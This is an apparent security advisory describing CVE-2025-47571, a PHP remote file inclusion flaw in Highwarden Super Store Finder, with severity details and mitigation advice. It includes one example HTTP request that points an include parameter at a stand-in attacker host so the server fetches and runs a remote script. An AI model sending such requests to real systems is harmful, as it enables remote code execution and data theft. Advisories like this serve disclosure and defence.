Overview

The report analyses CVE-2025-47571, a significant security vulnerability found in the Highwarden Super Store Finder. It involves an improper control of filename for the Include/Require statement in the PHP program, leading to PHP Remote File Inclusion. This vulnerability can potentially compromise systems and leak data, highlighting its severity and the urgency for mitigation.

Vulnerability Summary

CVE ID: CVE-2025-47571
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Highwarden Super Store Finder | Up to 6.9.7

How the Exploit Works

The exploit takes advantage of a flaw in the PHP program’s control of filenames for Include/Require statements in Highwarden Super Store Finder. An attacker can manipulate these statements to include a file from a remote server, allowing them to execute arbitrary code. This ability to run any code makes the system vulnerable to compromise and possible data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

POST /vulnerable/endpoint?php_include_url=http://malicious.example.com/malicious_script.php HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "data": "dummy_data" }

In the above example, the attacker includes a malicious PHP script (`malicious_script.php`) hosted on their server (`malicious.example.com`) via the `php_include_url` parameter in the HTTP POST request. The targeted server then fetches and executes this script, leading to a potential system compromise.

Mitigation

To mitigate this vulnerability, users of Highwarden Super Store Finder are advised to apply the vendor patch as soon as it becomes available. In the meantime, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary protection against this vulnerability.